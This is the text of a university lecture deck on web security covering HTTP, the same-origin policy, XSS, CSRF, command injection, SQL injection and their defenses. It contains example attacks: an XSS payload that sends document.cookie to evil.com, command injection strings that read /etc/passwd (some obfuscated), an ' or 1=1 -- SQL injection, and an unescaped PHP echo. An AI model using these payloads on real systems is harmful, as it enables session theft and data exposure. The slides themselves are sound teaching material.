![Reflected XSS
• Search field on victim.com:
• http://victim.com/search.php?term=apple
• Server-side implementation of search.php:
<html>
<title> Search Results </title>
<body> Results for <?php echo $_GET[term] ?
>: ...</body>
</html>
• What if victim instead clicks on:
http://victim.com/search.php?term=
<script> window.open(“http://evil.com?cookie = ” +
document.cookie ) </script>](https://image.slidesharecdn.com/web-250104115322-df9f38e1/85/Web-Security-and-its-Importance-in-the-Present-era-15-320.jpg)
Web Security and its Importance in the Present era
- 1. CS 181S Spring 2024 Lecture 25: Web Security
- 2. Networking Stack 7 - Application 6 - Presentation 5 - Session 4 - Transport 3 - Network 2 - Data Link 1 - Physical HTTP TLS/SSL TCP/UDP IP Ethernet 0s and 1s Deliver content Manage encoding Manage sessions Deliver (un)reliably Deliver globally Deliver locally Deliver signals
- 3. Application Layer: HTTP • Hypertext Transfer Protocol (HTTP) is an application protocol for distributed information systems • Stateless request-response protocol • Requests resources identified by Uniform Resource Locators (URLs) Request Response GET Retrieve resource (no side effects) HEAD Retrieve header for GET request (no body) POST Requests that server accept new object (e.g., results of form or new database item) and store it as subordinate of resource identified by URI PUT Requests that server store new object under supplied URI DELETE Delete specified resource
- 4. Example Request • HTTP Request: • HTTP Response: Request Method Path Protocol Version Headers Header Body
- 5. HTTP Response Codes Code Message 200 OK 201 Created 302 Found 401 Unauthorized 403 Forbidden 404 Not Found 409 Conflict 500 Internal Server Error 502 Bad Gateway
- 7. Vulnerability Occurrence in Applications Injection (O1) CSRF Broken Access Control (O5) Broken Authentication (O2) XSS (O7) Misconfigurations (O6) 0% 10% 20% 30% 40% 50% 60% 70% 80% 90%
- 9. HTML <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>CS 181S - Fall 2018</title> <link href='https://fonts.googleapis.com/css?family=Source+Sans+Pro:300,300i,600,700,700i' rel='stylesheet' type='text/css'> <link href='https://fonts.googleapis.com/css?family=Inconsolata:400,700,700i' rel='stylesheet' type='text/css'> <link href="resources/css/bootstrap.min.css" rel="stylesheet"> <link rel="stylesheet" href="resources/css/main.css"> </head> <body> <header class="site-header"> <div class="navbar navbar-inverse navbar-fixed-top"> <div class="container-fluid"> <div class="navbar-header"> <button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse"> <span class="sr-only">Toggle navigation</span> <span class="icon-bar"></span> <span class="icon-bar"></span> <span class="icon-bar"></span> </button> <a class="navbar-brand" href="/courses/cs5430/2018sp/">CS 181S <span class="hidden-xs hidden-sm">: System Security</span> <span class="hidden-md hidden-lg"> - Fall 2018</span> </a> </div>
- 10. Dynamic Web Pages Server-Side • PHP • Ruby • Python • Java • Go Client-Side • Javascript
- 11. Same Origin Policy (SOP) Data for http://www.example.com/dir/page.html accessed by: • http://www.example.com/dir/page2.html • http://www.example.com/dir2/page3.html • https://www.example.com/dir/page.html • http://www.example.com:81/dir/page.html • http://www.example.com:80/dir/page.html • http://evil.com/dir/page.html • http://example.com/dir/page.html
- 12. SOP Exceptions • Domain relaxation: document.domain • Cross-origin network requests: Access-Control-Allow-Origin • Cross-origin client-side communication: postMessage • Importing scripts
- 13. Cross-Site Scripting (XSS) • Form of code injection • evil.com sends victim a script that runs on example.com
- 14. Reflected XSS Attack Server Victim Server receive malicious link click on link echo user input 1 2 3 send valuable data 5 4 visit web site
- 15. Reflected XSS • Search field on victim.com: • http://victim.com/search.php?term=apple • Server-side implementation of search.php: <html> <title> Search Results </title> <body> Results for <?php echo $_GET[term] ? >: ...</body> </html> • What if victim instead clicks on: http://victim.com/search.php?term= <script> window.open(“http://evil.com?cookie = ” + document.cookie ) </script>
- 16. Reflected XSS Attack Server Victim Server user gets bad link user clicks on link victim echoes user input www.victim.com www.evil.com <html> Results for <script> window.open(http://attacker.com? ... document.cookie ...) </script> </html> http://victim.com/search.php? term= <script> ... </script>
- 17. Stored XSS Attack Server Server Victim User Victim Inject malicious script request content receive malicious script 1 2 3 steal valuable data 4
- 18. Stored XSS attack vectors • loaded images • HTML attributes • user content (comments, blog posts)
- 20. XSS Defenses • Parameter Validation • HTTP-Only Cookies • Dynamic Data Tainting • Static Analysis • Script Sandboxing
- 21. Cookies • Cookies are small blocks of data stored locally by the web browser • Cookie is sent with every request to that domain • Can be used to keep track of whether a user has authenticated (as which user) • And also other things… • Can be set by third parties
- 22. Cross-Site Request Forgery (CSRF) Attack Server Server Victim User Victim establish session send forged request visit server (or iframe) receive malicious page 1 2 3 4 (w/ cookie)
- 23. CSRF Defenses • Secret Validation Token: • Referrer Validation: • Custom HTTP Header: • User Interaction (e.g., CAPTCHA) <input type=hidden value=23a3af01b> Referrer: http://www.facebook.com/home.php X-Requested-By: XMLHttpRequest
- 24. Command Injection • Key issue: exporting local execution capability via Web interface • Request:http://vulnsite/ping?host=8.8.8.8 • Executes: ping –c 2 8.8.8.8 • Simple command injection • Request: http://vulnsite/ping?host=8.8.8.8;cat /etc/passwd • Executes: ping –c 2 8.8.8.8;cat /etc/passwd • Outputs ping output and the contents of “/etc/passwd” • Getting sneakier… • ping –c 2 8.8.8.8|cat /etc/passwd • ping –c 2 8.8.8.8&cat$IFS$9/etc/passwd • ping –c 2 $(cat /etc/passwd)
- 25. SQL Injection • SQL Injection is another example of code injection • Adversary exploits user-controlled input to change meaning of database command
- 26. SQL Injection Web Server Web Browser (Client) DB Enter Username & Password SELECT * FROM Users WHERE user='me' AND pwd='1234'
- 27. SQL Injection Web Server Web Browser (Client) DB Enter Username & Password SELECT * FROM Users WHERE user='me' AND pwd='1234' What if user = “ ' or 1=1 -- ”
- 28. SQLi in the Wild
- 29. Defenses Against SQL Injection • Prepared Statements: String custname = request.getParameter("customerName"); // perform input validation to detect attacks String query = "SELECT account_balance FROM user_data WHERE user_name = ? "; PreparedStatement pstmt = connection.prepareStatement( query ); pstmt.setString( 1, custname); ResultSet results = pstmt.executeQuery( ); • Input Validation: • Case statements, cast to non-string type • Escape User-supplied inputs: • Not recommended
- 30. SQL Injection
Editor's Notes
- #4: Demo: course website w/ web inspector + wireshark
- #6: https://nvd.nist.gov/vuln/search Basic Statistics keywords: "denial", "overflow", "xss", "csrf", "SQL"
- #7: https://owasp.org/www-project-top-ten/
- #9: https://www.ptsecurity.com/ww-en/analytics/web-vulnerabilities-2020/ Hackers can attack users in 9 out of 10 web applications. Attacks include redirecting users to a hacker-controlled resource, stealing credentials in phishing attacks, and infecting computers with malware. Unauthorized access to applications is possible on 39 percent of sites. In 2019, full control of the system could be obtained on 16 percent of web applications. On 8 percent of systems, full control of the web application server allowed attacking the local network.
- #10: https://www.ptsecurity.com/ww-en/analytics/web-vulnerabilities-2020/
- #12: Demo: minesweeper in javascript
- #15: scripts can be imported from remote origins, have privilieges of imported page (not source)
- #21: Wordpress (2024): https://www.searchenginejournal.com/wordpress-discovers-xss-vulnerability-recommends-updating-to-6-5-2/513501/ https://cybersecuritynews.com/xss-remains-as-the-most-vulnerability/ Joomla (2024): https://www.darkreading.com/application-security/joomla-xss-bugs-open-millions-websites-rce Azure (2023): https://www.darkreading.com/application-security/microsoft-azure-hdinsight-xss-vulnerabilities Zimbra (2023): https://blog.google/threat-analysis-group/zimbra-0-day-used-to-target-international-government-organizations/ Yahoo mail (2016): https://nakedsecurity.sophos.com/2016/01/21/xss-bug-in-yahoo-mail-could-have-let-attackers-take-over-email-accounts/ Stored XSS on ebay (2017): malicious sellers added scripts to legitimate product listings to redirect users to a spoofed login page that harvested credentials before redirecting users back to a legitimate eBay page. https://news.netcraft.com/archives/2017/02/17/hackers-still-exploiting-ebays-stored-xss-vulnerabilities-in-2017.html Expandable ads (2018): https://threatpost.com/once-popular-online-ad-format-opens-top-tier-sites-to-xss-attacks/137681/
- #23: -standard cookies, third party cookies
- #26: | is pipe $IFS is environment variable for inter-command separater (by default, space), $9 is ninth arg (always empty string)
- #30: Wordpress (2024): https://www.darkreading.com/remote-workforce/critical-security-flaw-wordpress-sql-injection Fortinet (2024): https://www.scmagazine.com/news/fortinet-forticlient-ems-sql-injection-flaw-exploited-in-the-wild MoveIt (2023): https://www.theregister.com/2023/06/01/moveit_transfer_zero_day/ https://www.theregister.com/2024/03/26/fbi_cisa_sql_injection/